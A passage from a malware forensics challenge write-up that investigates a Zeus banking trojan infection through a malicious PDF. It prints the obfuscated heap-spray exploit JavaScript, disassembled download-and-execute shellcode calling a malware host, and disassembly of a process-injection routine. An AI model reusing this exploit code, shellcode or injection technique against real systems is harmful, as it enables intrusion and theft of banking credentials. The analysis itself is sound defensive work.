6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u7
46E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u333D\u0000\u1334\u
1334");dPl=sly("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\
u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090
\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u90
90\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9
090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")
+cqcNr;FQI=sly("\u9090\u9090");fhT=5*2;sLa=fhT+dPl.length;while(FQI.length<sLa)FQI+
=FQI;NJn=FQI.substring(0,sLa);eUq=FQI.substring(0,FQI.length-
sLa);while(eUq.length+sLa<0x40000)eUq=eUq+eUq+NJn;Cwy=[];for(XWT=0;XWT<180;XWT+
+)Cwy[XWT]=eUq+dPl;var kKG=4012;var LwZ=Array(kKG);for(XWT=0;XWT<kKG;XWT++)
{LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");}
Collab.getIcon(LwZ+"_N.bundle");}
var sly=unescape,ZgA=app.viewerVersion.toString(),TjP=this;if(ZgA<8)
{bSuTN();}
if(ZgA>=8&&ZgA<9)
{Soy();}
if(ZgA<=9)
{XiIHG();}
```

We can view three major functions with obfuscated variable names and some large strings looking like shellcodes. It is also possible to note 3 functions that indicate an exploit attempt:

- Collab.collectEmailInfo (CVE-2007-5659)
- util.printf (CVE-2008-2992)
- Collab.getIcon (CVE-2009-0927)

The analisys of the shellcodes in ollydbg reveals 3 download & execute shellcodes, all with the same structure but requesting a different URL (see below)

```
0040A000    CC              INT3
0040A001    33C0            XOR     EAX,EAX
0040A003    64:8B40 30      MOV     EAX,DWORD PTR FS:[EAX+30]
0040A007    78 0C           JS      SHORT pdfshell.0040A015
0040A009    8B40 0C         MOV     EAX,DWORD PTR DS:[EAX+C]
0040A00C    8B70 1C         MOV     ESI,DWORD PTR DS:[EAX+1C]
0040A00F    AD              LODS    DWORD PTR DS:[ESI]
0040A010    8B58 08         MOV     EBX,DWORD PTR DS:[EAX+8]
0040A013    EB 09           JMP     SHORT pdfshell.0040A01E
0040A015    8B40 34         MOV     EAX,DWORD PTR DS:[EAX+34]
0040A018    8D40 7C         LEA     EAX,DWORD PTR DS:[EAX+7C]
0040A01B    8B58 3C         MOV     EBX,DWORD PTR DS:[EAX+3C]
```

```
0040A01E    6A 44           PUSH    44
0040A020    5A              POP     EDX
0040A021    D1E2            SHL     EDX,1
0040A023    2BE2            SUB     ESP,EDX
0040A025    8BEC            MOV     EBP,ESP
0040A027    EB 4F           JMP     SHORT pdfshell.0040A078
0040A029    5A              POP     EDX
0040A02A    52              PUSH    EDX
0040A02B    83EA 56         SUB     EDX,56
0040A02E    8955 04         MOV     DWORD PTR SS:[EBP+4],EDX
0040A031    56              PUSH    ESI
0040A032    57              PUSH    EDI
0040A033    8B73 3C         MOV     ESI,DWORD PTR DS:[EBX+3C]
0040A036    8B7433 78       MOV     ESI,DWORD PTR DS:[EBX+ESI+78]
0040A03A    03F3            ADD     ESI,EBX
0040A03C    56              PUSH    ESI
0040A03D    8B76 20         MOV     ESI,DWORD PTR DS:[ESI+20]
0040A040    03F3            ADD     ESI,EBX
0040A042    33C9            XOR     ECX,ECX
0040A044    49              DEC     ECX
0040A045    50              PUSH    EAX
0040A046    41              INC     ECX
0040A047    AD              LODS    DWORD PTR DS:[ESI]
0040A048    33FF            XOR     EDI,EDI
0040A04A    36:0FBE1403     MOVSX   EDX,BYTE PTR SS:[EBX+EAX]
0040A04F    38F2            CMP     DL,DH
0040A051    74 08           JE      SHORT pdfshell.0040A05B
0040A053    C1CF 0D         ROR     EDI,0D
0040A056    03FA            ADD     EDI,EDX
0040A058    40              INC     EAX
0040A059  ^ EB EF           JMP     SHORT pdfshell.0040A04A
0040A05B    58              POP     EAX
0040A05C    3BF8            CMP     EDI,EAX
0040A05E  ^ 75 E5           JNZ     SHORT pdfshell.0040A045
0040A060    5E              POP     ESI
0040A061    8B46 24         MOV     EAX,DWORD PTR DS:[ESI+24]
0040A064    03C3            ADD     EAX,EBX
0040A066    66:8B0C48       MOV     CX,WORD PTR DS:[EAX+ECX*2]
0040A06A    8B56 1C         MOV     EDX,DWORD PTR DS:[ESI+1C]
0040A06D    03D3            ADD     EDX,EBX
0040A06F    8B048A          MOV     EAX,DWORD PTR DS:[EDX+ECX*4]
0040A072    03C3            ADD     EAX,EBX
0040A074    5F              POP     EDI
0040A075    5E              POP     ESI
0040A076    50              PUSH    EAX
0040A077    C3              RETN ;RETN used as a call
0040A078    8D7D 08         LEA     EDI,DWORD PTR SS:[EBP+8]
0040A07B    57              PUSH    EDI
0040A07C    52              PUSH    EDX
0040A07D    B8 33CA8A5B     MOV     EAX,5B8ACA33
0040A082    E8 A2FFFFFF     CALL    pdfshell.0040A029               ; GetTempPathA
0040A087    32C0            XOR     AL,AL
0040A089    8BF7            MOV     ESI,EDI
0040A08B    F2:AE           REPNE   SCAS BYTE PTR ES:[EDI]
0040A08D    4F              DEC     EDI
0040A08E    B8 652E6578     MOV     EAX,78652E65
0040A093    AB              STOS    DWORD PTR ES:[EDI]
0040A094    66:98           CBW
0040A096    66:AB           STOS    WORD PTR ES:[EDI]
0040A098    B0 6C           MOV     AL,6C
0040A09A    8AE0            MOV     AH,AL
0040A09C    98              CWDE
0040A09D    50              PUSH    EAX
0040A09E    68 6F6E2E64     PUSH    642E6E6F
0040A0A3    68 75726C6D     PUSH    6D6C7275
0040A0A8    54              PUSH    ESP                             ; urlmon.dll
0040A0A9    B8 8E4E0EEC     MOV     EAX,EC0E4E8E
0040A0AE    FF55 04         CALL    DWORD PTR SS:[EBP+4]            ; calls LoadLibraryA
0040A0B1    93              XCHG    EAX,EBX
```

```
0040A0B2    50              PUSH    EAX
0040A0B3    33C0            XOR     EAX,EAX
0040A0B5    50              PUSH    EAX
0040A0B6    50              PUSH    EAX
0040A0B7    56              PUSH    ESI
0040A0B8    8B55 04         MOV     EDX,DWORD PTR SS:[EBP+4]
0040A0BB    83C2 7F         ADD     EDX,7F
0040A0BE    83C2 31         ADD     EDX,31
0040A0C1    52              PUSH    EDX  ; ASCII "http://search-network-plus.com/load.php?=a&st=Internet
Explorer 6.0&e=2"
0040A0C2    50              PUSH    EAX
0040A0C3    B8 361A2F70     MOV     EAX,702F1A36
0040A0C8    FF55 04         CALL    DWORD PTR SS:[EBP+4]            ; calls URLDownloadToFileA
0040A0CB    5B              POP     EBX
0040A0CC    33FF            XOR     EDI,EDI
0040A0CE    57              PUSH    EDI
0040A0CF    56              PUSH    ESI                             ; {temp_path}\e.exe
0040A0D0    B8 98FE8A0E     MOV     EAX,0E8AFE98
0040A0D5    FF55 04         CALL    DWORD PTR SS:[EBP+4]            ; calls WinExec
0040A0D8    57              PUSH    EDI
0040A0D9    B8 EFCEE060     MOV     EAX,60E0CEEF
0040A0DE    FF55 04         CALL    DWORD PTR SS:[EBP+4]            ; calls ExitThread
```

So, a suspicious executable was downloaded from a malicious website: **search-network-plus.com,** stored in a temporary directory under the name: e.exe and then executed on Bob's machine.

Question 7. List suspicious files that were loaded by any processes on the victim's machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim's bank account?	Possible Points: 2pts

Tools Used: volatility

Answer 7.

Using the "files" and "fileobjscan" volatility plugins, it is possible to list all the files that were accessed by all or a selected process.
Well, As the ouput can be really verbose, I will only list suspicious files for each process:

winlogon.exe (pid 644)

Suspicious files accessed:

```
File    \WINDOWS\system32\sdra64.exe
File    \WINDOWS\system32\lowsec\user.ds
File    \_AVIRA_2109
File    \WINDOWS\system32\lowsec\local.ds
```

svchost.exe (pid 880)

Suspicious files accessed:

```
File    \_AVIRA_2108
File    \WINDOWS\system32\lowsec\user.ds.lll
```

Unusual files accessed:

```
File    \WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet
Files\Content.IE5\index.dat
File    \WINDOWS\system32\config\systemprofile\Cookies\index.dat
File    \WINDOWS\system32\config\systemprofile\Local
Settings\History\History.IE5\index.dat
```

Other processes have accessed files that are not usually accessed by these processes. The involved processes are:
services.exe (PID 688)
svchost.exe (PID 1040)
svchost.exe (PID 1244)
alg.exe (PID 2024)
explorer.exe (PID 1756) * only suspicious in this case
VmwareUser.exe (PID 1116)
AcroRd32.exe (PID 1752)

These processes have all accessed these files:

```
File    \WINDOWS\system32\config\systemprofile\Local Settings\Temporary Internet
Files\Content.IE5\index.dat
File    \WINDOWS\system32\config\systemprofile\Cookies\index.dat
File    \WINDOWS\system32\config\systemprofile\Local
Settings\History\History.IE5\index.dat
```

After some research on the web for the suspicious filenames, it appears that Bob's machine could have been infected by a sample or variant of the Trojan : Trojan.Zbot, aka Zeus aka Banker.win32.Bancos.
Description from www.threatexpert.com:
"Threat characteristics of ZBot - a banking trojan that disables firewall, steals sensitive financial data (credit card numbers, online banking login details), makes screen snapshots, downloads

additional components, and provides a hacker with the remote access to the compromised system."

The threat description seems to correlate what company X has noticed.

Using the fileobjscan plugin written by Andreas Schuster (http://computer.forensikblog.de), it is possible to find a clue that the previously analyzed shellcode have created the "e.exe" downloaded executable in a temp directory:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility fileobjscan -f ../Bob.vmem |grep "\\\e.exe"

0x022f2158 0x823eb040    1    0 R--r-d 0x00000000    0
\DOCUME~1\ADMINI~1\LOCALS~1\Temp\e.exe
```

Question 8. If any suspicious files can be extracted from an injected process, do any antivirus products pick up the suspicious executable? What is the general result from antivirus products?	Possible Points: 6pts

Tools Used: volatility (malfind2 plugin by Michael Hale Ligh), www.virustotal.com

Answer 8.

Again the volatility framework can help in these task. Particularly, the malfind2 plugin written by Michael Hale Ligh (http://mnin.blogspot.com/). This tool is able to find and extract malwares and injected codes.
Let's try to extract something from the winlogon.exe process:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility malfind2 -f ../Bob.vmem -p 644 -d ../644-malware
/home/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-
1.3_Beta/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is
deprecated; use the hashlib module instead
  import sha

************************* Malfind Report ************************

#
# winlogon.exe (Pid: 644)
#

[!] Range: 0x00a10000 - 0x00a2cfff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.a10000-a2cfff.dmp
PE sections: [.text, .data, .reloc, .data1, ]

[!] Range: 0x24990000 - 0x24993fff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.24990000-24993fff.dmp
Hexdump:
0x24990000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x24990010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Disassembly:
0x24990000   add [eax],al
0x24990002   add [eax],al
0x24990004   add [eax],al
0x24990006   add [eax],al
0x24990008   add [eax],al
0x2499000a   add [eax],al
0x2499000c   add [eax],al
0x2499000e   add [eax],al
0x24990010   add [eax],al
0x24990012   add [eax],al
0x24990014   add [eax],al
0x24990016   add [eax],al
0x24990018   add [eax],al
0x2499001a   add [eax],al
0x2499001c   add [eax],al
0x2499001e   add [eax],al

[!] Range: 0x42e60000 - 0x42e63fff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.42e60000-42e63fff.dmp
Hexdump:
```

```
0x42e60000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x42e60010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Disassembly:
0x42e60000   add [eax],al
0x42e60002   add [eax],al
0x42e60004   add [eax],al
0x42e60006   add [eax],al
0x42e60008   add [eax],al
0x42e6000a   add [eax],al
0x42e6000c   add [eax],al
0x42e6000e   add [eax],al
0x42e60010   add [eax],al
0x42e60012   add [eax],al
0x42e60014   add [eax],al
0x42e60016   add [eax],al
0x42e60018   add [eax],al
0x42e6001a   add [eax],al
0x42e6001c   add [eax],al
0x42e6001e   add [eax],al

[!] Range: 0x26200000 - 0x26203fff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.26200000-26203fff.dmp
Hexdump:
0x26200000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x26200010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Disassembly:
0x26200000   add [eax],al
0x26200002   add [eax],al
0x26200004   add [eax],al
0x26200006   add [eax],al
0x26200008   add [eax],al
0x2620000a   add [eax],al
0x2620000c   add [eax],al
0x2620000e   add [eax],al
0x26200010   add [eax],al
0x26200012   add [eax],al
0x26200014   add [eax],al
0x26200016   add [eax],al
0x26200018   add [eax],al
0x2620001a   add [eax],al
0x2620001c   add [eax],al
0x2620001e   add [eax],al

[!] Range: 0x7a330000 - 0x7a333fff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.7a330000-7a333fff.dmp
Hexdump:
0x7a330000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x7a330010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Disassembly:
0x7a330000   add [eax],al
0x7a330002   add [eax],al
0x7a330004   add [eax],al
0x7a330006   add [eax],al
```

```
0x7a330008   add [eax],al
0x7a33000a   add [eax],al
0x7a33000c   add [eax],al
0x7a33000e   add [eax],al
0x7a330010   add [eax],al
0x7a330012   add [eax],al
0x7a330014   add [eax],al
0x7a330016   add [eax],al
0x7a330018   add [eax],al
0x7a33001a   add [eax],al
0x7a33001c   add [eax],al
0x7a33001e   add [eax],al

[!] Range: 0x7fc00000 - 0x7fc03fff (Tag: VadS, Protection: 0x6)
Dumping to ../644-malware/malfind.644.7fc00000-7fc03fff.dmp
Hexdump:
0x7fc00000   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0x7fc00010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

Disassembly:
0x7fc00000   add [eax],al
0x7fc00002   add [eax],al
0x7fc00004   add [eax],al
0x7fc00006   add [eax],al
0x7fc00008   add [eax],al
0x7fc0000a   add [eax],al
0x7fc0000c   add [eax],al
0x7fc0000e   add [eax],al
0x7fc00010   add [eax],al
0x7fc00012   add [eax],al
0x7fc00014   add [eax],al
0x7fc00016   add [eax],al
0x7fc00018   add [eax],al
0x7fc0001a   add [eax],al
0x7fc0001c   add [eax],al
0x7fc0001e   add [eax],al
```

malfind2 seems to have found something interresting for the analysis of this case, let's try to find a sign of malware in the extracted data:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/644-malware$ file *
malfind.644.24990000-24993fff.dmp: data
malfind.644.26200000-26203fff.dmp: data
malfind.644.42e60000-42e63fff.dmp: data
malfind.644.7a330000-7a333fff.dmp: data
malfind.644.7fc00000-7fc03fff.dmp: data
malfind.644.a10000-a2cfff.dmp:     PE32 executable for MS Windows (GUI) Intel 80386
32-bit
```

The last file named "malfind.644.a10000-a2cfff.dmp " is a good candidate to continue the investigation. Now that we have a suspicous "injected" executable, let's try to know a bit more on it.
The www.virustotal.com website provides a way to freely analyze malware sample with a fast check against a lot of AV engines (see screenshot on the next page).

The result of the AV scan reveals that our sample is a malware and particularly a "Banking" Trojan as previously suspected.

http://www.virustotal.com/compacto.html

Fichier malfind.1752.30000-4cfff.dmp reçu le 2010.04.24 22:20:49 (UTC)

Antivirus	Version	Dernière mise à jour	Résultat
a-squared	4.5.0.50	2010.04.24	PWS.Win32!IK
AhnLab-V3	5.0.0.2	2010.04.24	Win-Trojan/Zbot.118784.K
AntiVir	8.2.1.224	2010.04.23	TR/Crypt.XPACK.Gen
Antiy-AVL	2.0.3.7	2010.04.23	Trojan/Win32.Zbot.gen
Authentium	5.2.0.5	2010.04.24	W32/Agent.CC.gen!Eldorado
Avast	4.8.1351.0	2010.04.24	Win32:Zbot-BCW
Avast5	5.0.332.0	2010.04.24	Win32:Zbot-BCW
AVG	9.0.0.787	2010.04.24	Win32/Cryptor
BitDefender	7.2	2010.04.24	Trojan.Generic.3467020
CAT-QuickHeal	10.00	2010.04.23	TrojanSpy.Zbot.ahke
ClamAV	0.96.0.3-git	2010.04.24	-
Comodo	4677	2010.04.24	TrojWare.Win32.TrojanSpy.Zbot.Gen
DrWeb	5.0.2.03300	2010.04.24	Trojan.Webmoner.60981
eSafe	7.0.17.0	2010.04.22	Win32.TRCrypt.XPACK
eTrust-Vet	35.2.7448	2010.04.24	-
F-Prot	4.5.1.85	2010.04.24	W32/Agent.CC.gen!Eldorado
F-Secure	9.0.15370.0	2010.04.24	Trojan.Generic.3467020
Fortinet	4.0.14.0	2010.04.21	W32/Zbot.HJ!tr
GData	21	2010.04.24	Trojan.Generic.3467020
Ikarus	T3.1.1.80.0	2010.04.24	PWS.Win32
Jiangmin	13.0.900	2010.04.24	TrojanSpy.Zbot.dyf
Kaspersky	7.0.0.125	2010.04.24	Trojan-Spy.Win32.Zbot.ahke
McAfee	5.400.0.1158	2010.04.24	PWS-Zbot.gen.bd
McAfee-GW-Edition	6.8.5	2010.04.23	Trojan.Crypt.XPACK.Gen
Microsoft	1.5703	2010.04.24	PWS:Win32/Zbot.gen!W
NOD32	5057	2010.04.24	a variant of Win32/Spy.Zbot.UN
Norman	6.04.11	2010.04.24	W32/Zbot.DBB
nProtect	2010-04-24.01	2010.04.24	Trojan-Spy/W32.ZBot.118784.AI
Panda	10.0.2.7	2010.04.24	Generic Trojan
PCTools	7.0.3.5	2010.04.24	-
Prevx	3.0	2010.04.25	-
Rising	22.44.05.04	2010.04.24	Trojan.Win32.Generic.51FCA742
Sophos	4.53.0	2010.04.25	Troj/Zbot-HJ
Sunbelt	6217	2010.04.24	Trojan-Spy.Win32.Zbot.gen (v)
Symantec	20091.2.0.41	2010.04.24	Trojan.Gen
TheHacker	6.5.2.0.268	2010.04.23	Trojan/Kryptik.asg
TrendMicro	9.120.0.1004	2010.04.24	TSPY_ZBOT.SMRL
TrendMicro-HouseCall	9.120.0.1004	2010.04.25	TSPY_ZBOT.SMRL
VBA32	3.12.12.4	2010.04.23	SScope.Trojan.Bofa
ViRobot	2010.4.24.2293	2010.04.24	-
VirusBuster	5.0.27.0	2010.04.24	TrojanSpy.Zbot.XZC

Question 9. Are there any related registry entries associated with the payload?	Possible Points: 4pts

Tools Used: volatility

Answer 9.

Now that we have a name for the Bob's machine malware, we can focus on the known registry modifications that this trojan could have done. This malware is known for modifying some keys to be executed by the system at each restart. Let's try to find that:

I've used hivescan and hivelist volatility plugins (written by AAron Walters and Brendan Dolan-Gavitt) to find and query registry hives:

First using hivescan to find registry hives offsets:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility hivescan -f ../Bob.vmem

Offset          (hex)
44658696        0x2a97008
44686176        0x2a9db60
48529416        0x2e48008
55269896        0x34b5a08
57399112        0x36bd748
59082008        0x3858518
70588752        0x4351950
111029088       0x69e2b60
114539360       0x6d3bb60
121604960       0x73f8b60
180321120       0xabf7b60
191408992       0xb68ab60
244959264       0xe99c820
```

now we can use hivelist to list registry hives:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility hivelist -f ../Bob.vmem -o 44658696

Address      Name
0xe1d6cb60   \Documents and Settings\Administrator\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe1de0b60   \Documents and Settings\Administrator\NTUSER.DAT
0xe1769b60   \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17deb60   \Documents and Settings\LocalService\NTUSER.DAT
0xe1797b60   \Documents and Settings\NetworkService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17a3820   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1526748   \WINDOWS\system32\config\software
0xe15a3950   \WINDOWS\system32\config\default
0xe151ea08   \WINDOWS\system32\config\SAM
0xe153e518   \WINDOWS\system32\config\SECURITY
0xe139d008   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
```

After that it is possible to use the printkey plugin to list values of specific registry keys. This

malware is known for modifying the userinit value of HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon registry subkey. This value is modified to be sure that the trojan will be executed at each restart. Let's try to find a sign of this:

We have to query the \WINDOWS\system32\config\software registry hive:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility printkey -f ../Bob.vmem -o 0xe1526748 'Microsoft\Windows
NT\CurrentVersion\Winlogon'

Key name: Winlogon (Stable)
Last updated: Sat Feb 27 21:12:34 2010 Times

Subkeys:
   GPExtensions (Stable)
   Notify (Stable)
   SpecialAccounts (Stable)
   Credentials (Volatile)

Values:
REG_DWORD AutoRestartShell : 1 (Stable)
REG_SZ    DefaultDomainName : BOB-DCADFEDC55C (Stable)
REG_SZ    DefaultUserName : Administrator (Stable)
REG_SZ    LegalNoticeCaption :  (Stable)
REG_SZ    LegalNoticeText :  (Stable)
REG_SZ    PowerdownAfterShutdown : 0 (Stable)
REG_SZ    ReportBootOk : 1 (Stable)
REG_SZ    Shell      : Explorer.exe (Stable)
REG_SZ    ShutdownWithoutLogon : 0 (Stable)
REG_SZ    System     :  (Stable)
REG_SZ    Userinit   :
C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe, (Stable)
REG_SZ    VmApplet   : rundll32 shell32,Control_RunDLL "sysdm.cpl" (Stable)
REG_DWORD SfcQuota   : 4294967295 (Stable)
REG_SZ    allocatecdroms : 0 (Stable)
REG_SZ    allocatedasd : 0 (Stable)
REG_SZ    allocatefloppies : 0 (Stable)
REG_SZ    cachedlogonscount : 10 (Stable)
REG_DWORD forceunlocklogon : 0 (Stable)
REG_DWORD passwordexpirywarning : 14 (Stable)
REG_SZ    scremoveoption : 0 (Stable)
REG_DWORD AllowMultipleTSSessions : 1 (Stable)
REG_EXPAND_SZ UIHost     : logonui.exe (Stable)
REG_DWORD LogonType  : 1 (Stable)
REG_SZ    Background : 0 0 0 (Stable)
REG_SZ    AutoAdminLogon : 0 (Stable)
REG_SZ    DebugServerCommand : no (Stable)
REG_DWORD SFCDisable : 0 (Stable)
REG_SZ    WinStationsDisabled : 0 (Stable)
REG_DWORD HibernationPreviouslyEnabled : 1 (Stable)
REG_DWORD ShowLogonOptions : 0 (Stable)
REG_SZ    AltDefaultUserName : Administrator (Stable)
REG_SZ    AltDefaultDomainName : BOB-DCADFEDC55C (Stable)
```

Looks like the trojan has done its work :)

Question 10. What technique was used in the initial exploit to inject code in to the other processes?	Possible Points: 6pts
Tools Used: IDA pro, ollydbg	

Answer 10.

The trojan uses the RtlCreateUserThread function to inject its code into the other processes. The sub_3B249 listed below, tries to open the process:

```
sub_3B249       proc near               ; CODE XREF: start+2ED#p
.text:0003B249                                      ; sub_3A0BF+146#p ...
.text:0003B249
.text:0003B249 var_2           = byte ptr -2
.text:0003B249 var_1           = byte ptr -1
.text:0003B249 arg_0           = dword ptr  8
.text:0003B249 dwProcessId     = dword ptr  0Ch
.text:0003B249
.text:0003B249                 push    ebp
.text:0003B24A                 mov     ebp, esp
.text:0003B24C                 push    ecx
.text:0003B24D                 push    ebx
.text:0003B24E                 push    esi
.text:0003B24F                 xor     ebx, ebx
.text:0003B251                 mov     esi, eax
.text:0003B253                 mov     [ebp+var_1], 1
.text:0003B257                 mov     [ebp+var_2], bl
.text:0003B25A                 cmp     esi, ebx
.text:0003B25C                 jnz     short loc_3B27F
.text:0003B25E                 mov     [ebp+var_1], bl
.text:0003B261                 cmp     [ebp+dwProcessId], ebx
.text:0003B264                 jz      short loc_3B27B
.text:0003B266                 push    [ebp+dwProcessId] ; dwProcessId
.text:0003B269                 push    ebx             ; bInheritHandle
.text:0003B26A                 push    43Ah            ; dwDesiredAccess
.text:0003B26F                 call    OpenProcess
.text:0003B275                 mov     esi, eax     ; moves Process Handle in ESI
.text:0003B277                 cmp     esi, ebx
.text:0003B279                 jnz     short loc_3B27F
              loc_3B27B:                            ; CODE XREF: sub_3B249+1B#j
.text:0003B27B                 xor     al, al
.text:0003B27D                 jmp     short loc_3B2B5
.text:0003B27F ;
---------------------------------------------------------------------------
.text:0003B27F
.text:0003B27F loc_3B27F:                            ; CODE XREF: sub_3B249+13#j
.text:0003B27F                                      ; sub_3B249+30#j
.text:0003B27F                 push    esi
.text:0003B280                 call    sub_37899
```

The opened process handle stored in ESI and the sub_37899 is called.

This function will allocates a buffer in the remote process memory, using VirtualAllocEx:

```
Sub_37899       proc near               ; CODE XREF: sub_3B092+7C#p
.text:00037899                                      ; sub_3B249+37#p
.text:00037899
.text:00037899 nSize           = dword ptr -14h
.text:00037899 var_10          = dword ptr -10h
.text:00037899 var_C           = dword ptr -0Ch
.text:00037899 lpBaseAddr      = dword ptr -8
.text:00037899 var_1           = byte ptr -1
.text:00037899 hProcess        = dword ptr  8
.text:00037899
.text:00037899                 push    ebp
.text:0003789A                 mov     ebp, esp
.text:0003789C                 sub     esp, 14h
.text:0003789F                 push    ebx
.text:000378A0                 push    esi
.text:000378A1                 mov     esi, lpBaseAddress ;  Base Address of
current process
.text:000378A7                 push    edi
.text:000378A8                 mov     edi, [esi+3Ch]  ; PE offset
.text:000378AB                 add     edi, esi
.text:000378AD                 mov     ebx, [edi+50h]  ; SizeOfImage
.text:000378B0                 push    ebx             ; ucb
.text:000378B1                 push    esi             ; Base Address
.text:000378B2                 mov     [ebp+nSize], ebx
.text:000378B5                 mov     [ebp+var_1], 0
.text:000378B9                 call    IsBadReadPtr
.text:000378BF                 test    eax, eax
.text:000378C1                 jz      short loc_378CA
.text:000378C3                 xor     eax, eax
.text:000378C5                 jmp     loc_3799B
.text:000378CA ;
-------------------------------------------------------------------------
.text:000378CA
.text:000378CA loc_378CA:                              ; CODE XREF: sub_37899+28#j
.text:000378CA                 push    PAGE_EXECUTE_READWRITE ; flProtect
.text:000378CC                 push    MEM_COMMIT or MEM_RESERVE ; flAllocationType
.text:000378D1                 push    ebx             ; dwSize
.text:000378D2                 push    0               ; lpAddress
.text:000378D4                 push    [ebp+hProcess]  ; hProcess
.text:000378D7                 call    VirtualAllocEx
.text:000378DD                 mov     [ebp+lpBaseAddr], eax
.text:000378E0                 test    eax, eax
.text:000378E2                 jz      loc_37998
.text:000378E8                 push    ebx
.text:000378E9                 push    esi
.text:000378EA                 call    sub_345FF
```

The function gathers the SizeOfImage parameter from the PE header (at 000378AD) and stores it in EBX. This value will then be used as the dwSize parameter of th VirtualAllocEx function (at 000378D1). IsBadReadPtr function is call at 000378B9 to verify if the current process has read access to the entire binary (base address + SizeOfImage). If this is the case, it will then allocates a buffer in the targeted process memory using VirtualAllocEx. If the allocation is successful (eax !=0) at 000378E0 then EBX (SizeOfImage) and ESI (malicious code base adress) are passed as

parameters to sub_345FF (at 000378E8).

The malicious code is later written to allocated memory using the WriteProcessMemory function:

```
 loc_3795A:                              ; CODE XREF: sub_37899+82#j
.text:0003795A                 cmp     [eax], ecx
.text:0003795C                 jnz     short loc_3791D
.text:0003795E                 push    ecx             ; lpNumberOfBytesWritten
.text:0003795F                 push    [ebp+nSize]     ; nSize
.text:00037962                 push    ebx             ; lpBuffer
.text:00037963                 push    [ebp+lpBaseAddr] ; allocated memory address
.text:00037966                 push    [ebp+hProcess]  ; hProcess
.text:00037969                 call    WriteProcessMemory
.text:0003796F                 test    eax, eax
.text:00037971                 setnz   [ebp+var_1]
.text:00037975
```

If all was done without any problem, the allocated memory address is stored in EAX before the function returns.

```
.text:00037998 loc_37998:                              ; CODE XREF: sub_37899+49#j
.text:00037998                                         ; sub_37899+E6#j
.text:00037998                 mov     eax, [ebp+lpBaseAddr] ; this is the
allocated memory address containing malware code.
.text:0003799B
.text:0003799B loc_3799B:                              ; CODE XREF: sub_37899+2C#j
.text:0003799B                 pop     edi
.text:0003799C                 pop     esi
.text:0003799D                 pop     ebx ; was =0
.text:0003799E                 leave
.text:0003799F                 retn    4
.text:0003799F sub_37899       endp
```

A call is made to RtlCreateUserThread to launch code execution in the remote process:

```
                    loc_3B27F:                                 ; CODE XREF:
sub_3B249+13#j
.text:0003B27F                                         ; sub_3B249+30#j
.text:0003B27F                 push    esi
.text:0003B280                 call    sub_37899
.text:0003B285                 cmp     eax, ebx
.text:0003B287                 jz      short loc_3B2A6
.text:0003B289                 mov     ecx, [ebp+arg_0]
.text:0003B28C                 push    ebx             ; ClientID
.text:0003B28D                 push    ebx             ; ThreadHandle
.text:0003B28E                 push    ebx             ; StartParameter
.text:0003B28F                 add     eax, ecx
.text:0003B291                 push    eax             ; StartAddress
.text:0003B292                 push    ebx             ; StackCommit
.text:0003B293                 push    ebx             ; StackReserved
.text:0003B294                 push    ebx             ; StackZeroBits
.text:0003B295                 push    ebx             ; CreateSuspended
.text:0003B296                 push    ebx             ; SecurityDescriptor
.text:0003B297                 push    esi             ; ProcessHandle
```

```
.text:0003B298                  call    RtlCreateUserThread
.text:0003B29E                  test    eax, eax
.text:0003B2A0                  jnz     short loc_3B2A6
.text:0003B2A2                  mov     [ebp+var_2], 1
 loc_3B2A6:                               ; CODE XREF: sub_3B249+3E#j
.text:0003B2A6                                           ; sub_3B249+57#j
.text:0003B2A6                  cmp     [ebp+var_1], bl
